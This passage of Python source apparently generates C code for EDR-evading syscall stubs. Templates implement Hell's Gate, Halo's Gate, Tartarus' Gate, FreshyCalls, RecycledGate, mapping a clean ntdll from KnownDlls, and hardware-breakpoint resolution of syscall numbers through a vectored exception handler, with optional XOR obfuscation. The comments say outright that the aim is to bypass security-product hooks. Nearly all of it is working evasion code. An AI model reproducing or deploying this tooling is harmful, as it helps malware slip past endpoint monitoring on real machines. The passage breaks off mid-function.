/* =========================================================================
|
|
* Insertion-sort helper for export arrays (avoids qsort dependency)
|
|
* ========================================================================= */
|
|
static VOID {p}SortExports(P{p}EXPORT arr, DWORD n) {{
|
|
for (DWORD i = 1; i < n; i++) {{
|
|
{p}EXPORT key = arr[i];
|
|
LONG j = (LONG)i - 1;
|
|
while (j >= 0 && arr[j].Address > key.Address) {{
|
|
arr[j + 1] = arr[j];
|
|
j--;
|
|
}}
|
|
arr[j + 1] = key;
|
|
}}
|
|
}}
|
|
|
|
/* =========================================================================
|
|
* Parse PE section headers (used by multiple evasion techniques)
|
|
* ========================================================================= */
|
|
static PIMAGE_SECTION_HEADER {p}FindSection(PVOID pModule, const char* name) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pModule;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
|
|
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
|
|
|
|
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++, pSec++) {{
|
|
BOOL match = TRUE;
|
|
for (int j = 0; name[j]; j++) {{
|
|
if (pSec->Name[j] != (BYTE)name[j]) {{ match = FALSE; break; }}
|
|
}}
|
|
if (match) return pSec;
|
|
}}
|
|
return NULL;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# Resolution method C implementations
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_freshycalls(self, p: str, n: int) -> str:
|
|
addr_fill = ""
|
|
if self.cfg.method in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
addr_fill = f"""
|
|
/* Also record the syscall;ret gadget address for this stub */
|
|
PBYTE pStub = (PBYTE)exports[ei].Address;
|
|
for (DWORD k = 0; k < 32 && !{p}SyscallAddrTable[fi]; k++) {{
|
|
if (pStub[k] == 0x0Fu && pStub[k + 1u] == 0x05u)
|
|
{p}SyscallAddrTable[fi] = pStub + k;
|
|
}}"""
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* FreshyCalls SSN resolution
|
|
* Sorts all ntdll Nt* exports by VA -> sorted index == SSN
|
|
* Resistant to hooks: does not read from potentially-hooked function bytes
|
|
* ========================================================================= */
|
|
static BOOL {p}FreshyCalls(PVOID pNtdll) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pNtdll +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD )((PBYTE)pNtdll + pExp->AddressOfNameOrdinals);
|
|
|
|
/* Collect all Nt* exports */
|
|
{p}EXPORT exports[{p}MAX_EXPORTS];
|
|
DWORD count = 0;
|
|
|
|
for (DWORD i = 0; i < pExp->NumberOfNames && count < {p}MAX_EXPORTS; i++) {{
|
|
const char* pName = (const char*)((PBYTE)pNtdll + pNmArr[i]);
|
|
if (pName[0] == 'N' && pName[1] == 't') {{
|
|
exports[count].Address = (PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
|
|
exports[count].Hash = {p}HashStr(pName);
|
|
exports[count].Ordinal = i;
|
|
count++;
|
|
}}
|
|
}}
|
|
|
|
/* Sort by address ascending; sorted index = SSN */
|
|
{p}SortExports(exports, count);
|
|
|
|
/* Map our target functions */
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
for (DWORD ei = 0; ei < count; ei++) {{
|
|
if (exports[ei].Hash == {p}FuncHashes[fi]) {{
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ei")};
|
|
{addr_fill}
|
|
break;
|
|
}}
|
|
}}
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
def _ssn_encrypt_expr(self, p: str, var: str) -> str:
|
|
if self.cfg.encrypt_ssn:
|
|
return f"({var}) ^ {p}XOR_KEY"
|
|
return var
|
|
|
|
def _c_hellsgate(self, p: str, n: int) -> str:
|
|
addr_fill = self._indirect_addr_fill_snippet(p)
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Hell's Gate SSN resolution
|
|
* Reads SSN from the 'mov eax, <SSN>' opcode in each ntdll stub.
|
|
* Pattern: 4C 8B D1 B8 <SSN_LO> <SSN_HI> 00 00
|
|
* Fails when the stub is hooked (first bytes overwritten by EDR jmp).
|
|
* ========================================================================= */
|
|
static BOOL {p}HellsGate(PVOID pNtdll) {{
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
PBYTE pFn = (PBYTE){p}GetProcByHash(pNtdll, {p}FuncHashes[fi]);
|
|
if (!pFn) continue;
|
|
|
|
/* Scan up to 32 bytes for the mov eax, <SSN> pattern */
|
|
for (DWORD k = 0; k < 32; k++) {{
|
|
/* 4C 8B D1 B8 <lo> <hi> 00 00 -- clean stub */
|
|
if (pFn[k] == 0x4Cu && pFn[k + 1u] == 0x8Bu &&
|
|
pFn[k + 2u] == 0xD1u && pFn[k + 3u] == 0xB8u) {{
|
|
DWORD ssn = (DWORD)pFn[k + 4u] | ((DWORD)pFn[k + 5u] << 8u);
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ssn")};
|
|
{addr_fill}
|
|
break;
|
|
}}
|
|
}}
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
def _c_halosgate(self, p: str, n: int) -> str:
|
|
addr_fill = self._indirect_addr_fill_snippet(p)
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Halo's Gate SSN resolution
|
|
* Extends Hell's Gate: when a stub is hooked (E9 JMP), searches neighboring
|
|
* stubs in the sorted export list and infers SSN by +/- offset.
|
|
* ========================================================================= */
|
|
static BOOL {p}HalosGate(PVOID pNtdll) {{
|
|
/* Build sorted export list first */
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pNtdll +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD )((PBYTE)pNtdll + pExp->AddressOfNameOrdinals);
|
|
|
|
{p}EXPORT exports[{p}MAX_EXPORTS];
|
|
DWORD count = 0;
|
|
for (DWORD i = 0; i < pExp->NumberOfNames && count < {p}MAX_EXPORTS; i++) {{
|
|
const char* n = (const char*)((PBYTE)pNtdll + pNmArr[i]);
|
|
if (n[0] == 'N' && n[1] == 't') {{
|
|
exports[count].Address = (PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
|
|
exports[count].Hash = {p}HashStr(n);
|
|
exports[count].Ordinal = i;
|
|
count++;
|
|
}}
|
|
}}
|
|
{p}SortExports(exports, count);
|
|
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
/* Find this function in sorted list */
|
|
LONG myIdx = -1;
|
|
for (DWORD ei = 0; ei < count; ei++) {{
|
|
if (exports[ei].Hash == {p}FuncHashes[fi]) {{ myIdx = (LONG)ei; break; }}
|
|
}}
|
|
if (myIdx < 0) continue;
|
|
|
|
PBYTE pFn = (PBYTE)exports[myIdx].Address;
|
|
BOOL resolved = FALSE;
|
|
|
|
/* Check if clean (unhooked) */
|
|
for (DWORD k = 0; k < 32 && !resolved; k++) {{
|
|
if (pFn[k] == 0x4Cu && pFn[k+1u] == 0x8Bu &&
|
|
pFn[k+2u] == 0xD1u && pFn[k+3u] == 0xB8u) {{
|
|
DWORD ssn = (DWORD)pFn[k+4u] | ((DWORD)pFn[k+5u] << 8u);
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ssn")};
|
|
{addr_fill}
|
|
resolved = TRUE;
|
|
}}
|
|
}}
|
|
|
|
/* Hooked: scan neighbors (up to 8 stubs away) */
|
|
if (!resolved) {{
|
|
for (LONG delta = 1; delta <= 8 && !resolved; delta++) {{
|
|
for (LONG dir = -1; dir <= 1 && !resolved; dir += 2) {{
|
|
LONG ni = myIdx + delta * dir;
|
|
if (ni < 0 || ni >= (LONG)count) continue;
|
|
PBYTE pN = (PBYTE)exports[ni].Address;
|
|
for (DWORD k = 0; k < 32 && !resolved; k++) {{
|
|
if (pN[k] == 0x4Cu && pN[k+1u] == 0x8Bu &&
|
|
pN[k+2u] == 0xD1u && pN[k+3u] == 0xB8u) {{
|
|
DWORD neighborSsn = (DWORD)pN[k+4u] | ((DWORD)pN[k+5u] << 8u);
|
|
/* Our SSN = neighbor SSN - (sorted_index_delta) */
|
|
DWORD ssn = neighborSsn - (DWORD)(delta * dir);
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ssn")};
|
|
{addr_fill}
|
|
resolved = TRUE;
|
|
}}
|
|
}}
|
|
}}
|
|
}}
|
|
}}
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
def _c_tartarusgate(self, p: str, n: int) -> str:
|
|
addr_fill = self._indirect_addr_fill_snippet(p)
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Tartarus' Gate SSN resolution
|
|
* Extends Halo's Gate to handle both near (E9) and far (FF 25) JMP hooks.
|
|
* Most robust against aggressive EDR multi-hook deployments.
|
|
* ========================================================================= */
|
|
|
|
/* Check whether a function stub is hooked (first bytes are a JMP) */
|
|
static BOOL {p}IsHooked(PBYTE pFn) {{
|
|
return (pFn[0] == 0xE9u) || /* near jmp rel32 */
|
|
(pFn[0] == 0xFFu && pFn[1] == 0x25u) || /* jmp [rip+offset] */
|
|
(pFn[0] == 0xE8u) || /* call (rare) */
|
|
(pFn[0] == 0xCCu) || /* int3 bp */
|
|
(pFn[0] == 0xEBu); /* short jmp */
|
|
}}
|
|
|
|
static BOOL {p}TartarusGate(PVOID pNtdll) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pNtdll +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD )((PBYTE)pNtdll + pExp->AddressOfNameOrdinals);
|
|
|
|
{p}EXPORT exports[{p}MAX_EXPORTS];
|
|
DWORD count = 0;
|
|
for (DWORD i = 0; i < pExp->NumberOfNames && count < {p}MAX_EXPORTS; i++) {{
|
|
const char* nm = (const char*)((PBYTE)pNtdll + pNmArr[i]);
|
|
if (nm[0] == 'N' && nm[1] == 't') {{
|
|
exports[count].Address = (PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
|
|
exports[count].Hash = {p}HashStr(nm);
|
|
exports[count].Ordinal = i;
|
|
count++;
|
|
}}
|
|
}}
|
|
{p}SortExports(exports, count);
|
|
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
LONG myIdx = -1;
|
|
for (DWORD ei = 0; ei < count; ei++) {{
|
|
if (exports[ei].Hash == {p}FuncHashes[fi]) {{ myIdx = (LONG)ei; break; }}
|
|
}}
|
|
if (myIdx < 0) continue;
|
|
|
|
PBYTE pFn = (PBYTE)exports[myIdx].Address;
|
|
BOOL resolved = FALSE;
|
|
|
|
/* --- Try self first ------------------------------------------- */
|
|
if (!{p}IsHooked(pFn)) {{
|
|
for (DWORD k = 0; k < 32 && !resolved; k++) {{
|
|
if (pFn[k] == 0x4Cu && pFn[k+1u] == 0x8Bu &&
|
|
pFn[k+2u] == 0xD1u && pFn[k+3u] == 0xB8u) {{
|
|
DWORD ssn = (DWORD)pFn[k+4u] | ((DWORD)pFn[k+5u] << 8u);
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ssn")};
|
|
{addr_fill}
|
|
resolved = TRUE;
|
|
}}
|
|
}}
|
|
}}
|
|
|
|
/* --- Search neighbors ------------------------------------------ */
|
|
for (LONG delta = 1; delta <= 16 && !resolved; delta++) {{
|
|
for (LONG dir = -1; dir <= 1 && !resolved; dir += 2) {{
|
|
LONG ni = myIdx + delta * dir;
|
|
if (ni < 0 || ni >= (LONG)count) continue;
|
|
PBYTE pN = (PBYTE)exports[ni].Address;
|
|
if ({p}IsHooked(pN)) continue;
|
|
for (DWORD k = 0; k < 32 && !resolved; k++) {{
|
|
if (pN[k] == 0x4Cu && pN[k+1u] == 0x8Bu &&
|
|
pN[k+2u] == 0xD1u && pN[k+3u] == 0xB8u) {{
|
|
DWORD nSsn = (DWORD)pN[k+4u] | ((DWORD)pN[k+5u] << 8u);
|
|
LONG adjusted = (LONG)nSsn - (LONG)(delta * dir);
|
|
if (adjusted < 0) continue;
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "(DWORD)adjusted")};
|
|
{addr_fill}
|
|
resolved = TRUE;
|
|
}}
|
|
}}
|
|
}}
|
|
}}
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: SyscallsFromDisk - Load clean ntdll from KnownDlls or disk
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_syscalls_from_disk(self, p: str, n: int) -> str:
|
|
addr_fill = self._indirect_addr_fill_snippet(p)
|
|
return f"""\
|
|
/* =========================================================================
|
|
* SyscallsFromDisk SSN resolution
|
|
* Maps a CLEAN copy of ntdll.dll from \\KnownDlls\\ntdll.dll (or disk)
|
|
* and reads SSNs from the unhooked .text section. This completely bypasses
|
|
* all inline hooks placed by EDRs in the in-memory ntdll.
|
|
*
|
|
* Flow:
|
|
* 1. NtOpenSection(\\KnownDlls\\ntdll.dll) to get section handle
|
|
* 2. NtMapViewOfSection to map clean copy
|
|
* 3. Read SSNs from clean copy (same as Hell's Gate, but guaranteed clean)
|
|
* 4. NtUnmapViewOfSection + NtClose
|
|
*
|
|
* Fallback: if KnownDlls fails, reads from disk (\\SystemRoot\\System32\\ntdll.dll)
|
|
* ========================================================================= */
|
|
|
|
/* Use NtOpenSection via hardcoded SSN is not needed --
|
|
* We use the existing (potentially hooked) ntdll to open the clean copy.
|
|
* The hook cannot prevent us from reading the clean bytes once mapped. */
|
|
|
|
static BOOL {p}SyscallsFromDisk(PVOID pNtdll) {{
|
|
/* Typedefs for functions we need */
|
|
typedef NTSTATUS (NTAPI *pfnNtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
|
|
typedef NTSTATUS (NTAPI *pfnNtMapViewOfSection)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
|
|
typedef NTSTATUS (NTAPI *pfnNtUnmapViewOfSection)(HANDLE, PVOID);
|
|
typedef NTSTATUS (NTAPI *pfnNtClose)(HANDLE);
|
|
|
|
/* Resolve needed functions from in-memory ntdll */
|
|
pfnNtOpenSection pOpen = (pfnNtOpenSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtOpenSection'):08X}U);
|
|
pfnNtMapViewOfSection pMap = (pfnNtMapViewOfSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtMapViewOfSection'):08X}U);
|
|
pfnNtUnmapViewOfSection pUnmap = (pfnNtUnmapViewOfSection){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtUnmapViewOfSection'):08X}U);
|
|
pfnNtClose pClose = (pfnNtClose){p}GetProcByHash(pNtdll, 0x{djb2_hash('NtClose'):08X}U);
|
|
|
|
if (!pOpen || !pMap || !pUnmap || !pClose)
|
|
return FALSE;
|
|
|
|
/* Open \\KnownDlls\\ntdll.dll */
|
|
UNICODE_STRING usName;
|
|
usName.Length = 24 * sizeof(WCHAR); /* wcslen(L"\\KnownDlls\\ntdll.dll") * 2 */
|
|
usName.MaximumLength = usName.Length + sizeof(WCHAR);
|
|
usName.Buffer = L"\\\\KnownDlls\\\\ntdll.dll";
|
|
|
|
OBJECT_ATTRIBUTES oa;
|
|
memset(&oa, 0, sizeof(oa));
|
|
oa.Length = sizeof(OBJECT_ATTRIBUTES);
|
|
oa.ObjectName = &usName;
|
|
|
|
HANDLE hSection = NULL;
|
|
NTSTATUS status = pOpen(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &oa);
|
|
if (!NT_SUCCESS(status))
|
|
return FALSE;
|
|
|
|
/* Map into our process */
|
|
PVOID pClean = NULL;
|
|
SIZE_T viewSize = 0;
|
|
status = pMap(hSection, (HANDLE)-1, &pClean, 0, 0, NULL, &viewSize, 1 /* ViewShare */, 0, PAGE_READONLY);
|
|
if (!NT_SUCCESS(status)) {{
|
|
pClose(hSection);
|
|
return FALSE;
|
|
}}
|
|
|
|
/* Now read SSNs from the CLEAN copy */
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pClean;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pClean + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pClean +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pClean + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pClean + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD )((PBYTE)pClean + pExp->AddressOfNameOrdinals);
|
|
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
for (DWORD i = 0; i < pExp->NumberOfNames; i++) {{
|
|
const char* pName = (const char*)((PBYTE)pClean + pNmArr[i]);
|
|
if ({p}HashStr(pName) == {p}FuncHashes[fi]) {{
|
|
PBYTE pFn = (PBYTE)pClean + pFnArr[pOrArr[i]];
|
|
/* Read the clean SSN -- guaranteed no hooks */
|
|
for (DWORD k = 0; k < 32; k++) {{
|
|
if (pFn[k] == 0x4Cu && pFn[k+1u] == 0x8Bu &&
|
|
pFn[k+2u] == 0xD1u && pFn[k+3u] == 0xB8u) {{
|
|
DWORD ssn = (DWORD)pFn[k+4u] | ((DWORD)pFn[k+5u] << 8u);
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "ssn")};
|
|
break;
|
|
}}
|
|
}}
|
|
/* For indirect: find syscall;ret in the REAL (in-memory) ntdll
|
|
* because we need to jmp there at call time */
|
|
PBYTE pReal = (PBYTE){p}GetProcByHash(pNtdll, {p}FuncHashes[fi]);
|
|
if (pReal) {{
|
|
for (DWORD sk = 0; sk < 32; sk++) {{
|
|
if (pReal[sk] == 0x0Fu && pReal[sk+1u] == 0x05u) {{
|
|
/* Found syscall gadget in real ntdll (may be after hook jmp) */
|
|
break;
|
|
}}
|
|
}}
|
|
}}
|
|
break;
|
|
}}
|
|
}}
|
|
}}
|
|
|
|
/* Cleanup */
|
|
pUnmap((HANDLE)-1, pClean);
|
|
pClose(hSection);
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: RecycledGate - FreshyCalls + opcode validation
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_recycledgate(self, p: str, n: int) -> str:
|
|
addr_fill = ""
|
|
if self.cfg.method in (InvocationMethod.Indirect, InvocationMethod.Randomized):
|
|
addr_fill = f"""
|
|
/* Record gadget address for indirect/randomized invocation */
|
|
for (DWORD sk = 0; sk < 32; sk++) {{
|
|
if (pStub[sk] == 0x0Fu && pStub[sk+1u] == 0x05u) {{
|
|
{p}SyscallAddrTable[fi] = pStub + sk;
|
|
break;
|
|
}}
|
|
}}"""
|
|
|
|
return f"""\
|
|
/* =========================================================================
|
|
* RecycledGate SSN resolution
|
|
* Combines the reliability of FreshyCalls (sort-by-VA) with opcode
|
|
* validation from Hell's Gate. For each function:
|
|
* 1. Get candidate SSN from sorted position (FreshyCalls)
|
|
* 2. If stub is clean, verify SSN matches opcode (double-check)
|
|
* 3. If stub is hooked, trust the sorted-index SSN (hook-resistant)
|
|
*
|
|
* This is the most resilient method: even if hooks reorder stubs or
|
|
* modify opcodes, the VA-sort gives the correct SSN.
|
|
* Inspired by RecycledGate (thefLink).
|
|
* ========================================================================= */
|
|
static BOOL {p}RecycledGate(PVOID pNtdll) {{
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)pNtdll + pDos->e_lfanew);
|
|
PIMAGE_EXPORT_DIRECTORY pExp = (PIMAGE_EXPORT_DIRECTORY)(
|
|
(PBYTE)pNtdll +
|
|
pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
|
|
|
PDWORD pFnArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfFunctions);
|
|
PDWORD pNmArr = (PDWORD)((PBYTE)pNtdll + pExp->AddressOfNames);
|
|
PWORD pOrArr = (PWORD )((PBYTE)pNtdll + pExp->AddressOfNameOrdinals);
|
|
|
|
/* Collect and sort Nt* exports */
|
|
{p}EXPORT exports[{p}MAX_EXPORTS];
|
|
DWORD count = 0;
|
|
|
|
for (DWORD i = 0; i < pExp->NumberOfNames && count < {p}MAX_EXPORTS; i++) {{
|
|
const char* pName = (const char*)((PBYTE)pNtdll + pNmArr[i]);
|
|
if (pName[0] == 'N' && pName[1] == 't') {{
|
|
exports[count].Address = (PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
|
|
exports[count].Hash = {p}HashStr(pName);
|
|
exports[count].Ordinal = i;
|
|
count++;
|
|
}}
|
|
}}
|
|
|
|
{p}SortExports(exports, count);
|
|
|
|
/* Resolve each target function */
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
for (DWORD ei = 0; ei < count; ei++) {{
|
|
if (exports[ei].Hash == {p}FuncHashes[fi]) {{
|
|
PBYTE pStub = (PBYTE)exports[ei].Address;
|
|
DWORD candidateSsn = ei; /* FreshyCalls SSN */
|
|
BOOL opcodeValid = FALSE;
|
|
|
|
/* Try to validate with opcode if stub is clean */
|
|
for (DWORD k = 0; k < 32; k++) {{
|
|
if (pStub[k] == 0x4Cu && pStub[k+1u] == 0x8Bu &&
|
|
pStub[k+2u] == 0xD1u && pStub[k+3u] == 0xB8u) {{
|
|
DWORD opcodeSsn = (DWORD)pStub[k+4u] | ((DWORD)pStub[k+5u] << 8u);
|
|
/* Cross-validate: if both agree, high confidence */
|
|
if (opcodeSsn == candidateSsn) {{
|
|
opcodeValid = TRUE;
|
|
}} else {{
|
|
/* Mismatch: trust opcode if stub looks clean */
|
|
if (pStub[0] != 0xE9u && pStub[0] != 0xFFu &&
|
|
pStub[0] != 0xCCu && pStub[0] != 0xEBu)
|
|
candidateSsn = opcodeSsn;
|
|
}}
|
|
break;
|
|
}}
|
|
}}
|
|
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, "candidateSsn")};
|
|
{addr_fill}
|
|
break;
|
|
}}
|
|
}}
|
|
}}
|
|
return TRUE;
|
|
}}"""
|
|
|
|
# -----------------------------------------------------------------------
|
|
# NEW: HW Breakpoint - Hardware breakpoints + VEH to extract SSN
|
|
# -----------------------------------------------------------------------
|
|
|
|
def _c_hw_breakpoint(self, p: str, n: int) -> str:
|
|
return f"""\
|
|
/* =========================================================================
|
|
* Hardware Breakpoint SSN resolution
|
|
* Uses debug registers (DR0-DR3) and a Vectored Exception Handler (VEH)
|
|
* to extract SSNs without reading the (potentially hooked) function bytes.
|
|
*
|
|
* Flow:
|
|
* 1. Set DR0 = address of target ntdll function
|
|
* 2. Set DR7 to enable hardware breakpoint on execution
|
|
* 3. Call the function (will trigger single-step exception)
|
|
* 4. VEH catches EXCEPTION_SINGLE_STEP
|
|
* 5. At this point, EAX contains the SSN (set by mov eax, <SSN>)
|
|
* 6. Record SSN and continue
|
|
*
|
|
* This works even when hooks redirect execution, because:
|
|
* - We set the BP on the original ntdll stub address
|
|
* - After the hook's JMP, execution eventually reaches mov eax, <SSN>
|
|
* - The VEH intercepts AFTER the SSN is loaded into EAX
|
|
*
|
|
* Note: Uses a different approach - sets BP at the syscall instruction
|
|
* offset (typically +0x12 from stub start). At that point EAX = SSN.
|
|
* ========================================================================= */
|
|
|
|
/* Shared state between VEH handler and resolver */
|
|
static volatile DWORD {p}HwBpCapturedSsn = 0;
|
|
static volatile BOOL {p}HwBpReady = FALSE;
|
|
static PVOID {p}HwBpVehHandle = NULL;
|
|
|
|
/* VEH handler: captures EAX (which contains the SSN) */
|
|
static LONG CALLBACK {p}HwBpHandler(PEXCEPTION_POINTERS pExInfo) {{
|
|
if (pExInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {{
|
|
if ({p}HwBpReady) {{
|
|
/* Capture EAX = SSN */
|
|
{p}HwBpCapturedSsn = (DWORD)pExInfo->ContextRecord->Rax;
|
|
{p}HwBpReady = FALSE;
|
|
|
|
/* Clear DR0 and disable breakpoint */
|
|
pExInfo->ContextRecord->Dr0 = 0;
|
|
pExInfo->ContextRecord->Dr7 &= ~1ULL;
|
|
|
|
/* Skip the syscall instruction (0F 05 = 2 bytes) */
|
|
pExInfo->ContextRecord->Rip += 2;
|
|
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
}}
|
|
}}
|
|
return EXCEPTION_CONTINUE_SEARCH;
|
|
}}
|
|
|
|
/* Set hardware breakpoint on a specific address using DR0 */
|
|
static BOOL {p}SetHwBp(HANDLE hThread, PVOID pAddr) {{
|
|
CONTEXT ctx;
|
|
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
if (!GetThreadContext(hThread, &ctx)) return FALSE;
|
|
|
|
ctx.Dr0 = (DWORD64)pAddr;
|
|
ctx.Dr7 = (ctx.Dr7 & ~0xFFFFULL) | 1ULL; /* Enable DR0 local exact bp */
|
|
|
|
return SetThreadContext(hThread, &ctx);
|
|
}}
|
|
|
|
static BOOL {p}HWBreakpoint(PVOID pNtdll) {{
|
|
/* Register VEH handler */
|
|
{p}HwBpVehHandle = AddVectoredExceptionHandler(1, {p}HwBpHandler);
|
|
if (!{p}HwBpVehHandle) return FALSE;
|
|
|
|
HANDLE hThread = GetCurrentThread();
|
|
|
|
for (DWORD fi = 0; fi < {p}FUNC_COUNT; fi++) {{
|
|
PBYTE pFn = (PBYTE){p}GetProcByHash(pNtdll, {p}FuncHashes[fi]);
|
|
if (!pFn) continue;
|
|
|
|
/* Find the syscall (0F 05) instruction in the stub */
|
|
PVOID pSyscallAddr = NULL;
|
|
for (DWORD k = 0; k < 64; k++) {{
|
|
if (pFn[k] == 0x0Fu && pFn[k+1u] == 0x05u) {{
|
|
pSyscallAddr = pFn + k;
|
|
break;
|
|
}}
|
|
}}
|
|
|
|
if (!pSyscallAddr) {{
|
|
/* Stub is heavily hooked -- try neighbor approach */
|
|
/* Search for 'syscall' in nearby memory (within stub size) */
|
|
continue;
|
|
}}
|
|
|
|
/* Set hardware breakpoint on the syscall instruction */
|
|
{p}HwBpReady = TRUE;
|
|
{p}HwBpCapturedSsn = 0xFFFFFFFF;
|
|
|
|
if ({p}SetHwBp(hThread, pSyscallAddr)) {{
|
|
/* Trigger the breakpoint by calling into the stub
|
|
* The stub will: mov r10, rcx; mov eax, SSN; <BP triggers here>
|
|
* We use a dummy call -- the VEH will skip the actual syscall */
|
|
__try {{
|
|
typedef NTSTATUS (NTAPI *pfnGeneric)(VOID);
|
|
((pfnGeneric)pFn)();
|
|
}} __except(EXCEPTION_EXECUTE_HANDLER) {{
|
|
/* Swallow any exception */
|
|
}}
|
|
|
|
if ({p}HwBpCapturedSsn != 0xFFFFFFFF) {{
|
|
{p}SsnTable[fi] = {self._ssn_encrypt_expr(p, f"{p}HwBpCapturedSsn")};
|
|
}}
|
|
}}
|
|
|
|
/* Clear DR0 */
|
|
CONTEXT ctx;
|
|
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
|
GetThreadContext(hThread, &ctx);
|
|
ctx.Dr0 = 0;
|
|
ctx.Dr7 &= ~1ULL;
|
|
SetThreadContext(hThread, &ctx);
|
|
}}
|
|
|
|
/* Remove VEH */
|
|
RemoveVectoredExceptionHandler({p}HwBpVehHandle);
|
|
{p}HwBpVehHandle = NULL;
|
|
return TRUE;
|
|
}}"""
|
|
|
|
def _c_static_resolution(self, p: str, n: int, func_names: list) -> str:
|
|
ssns = self._get_static_ssns()
|
|
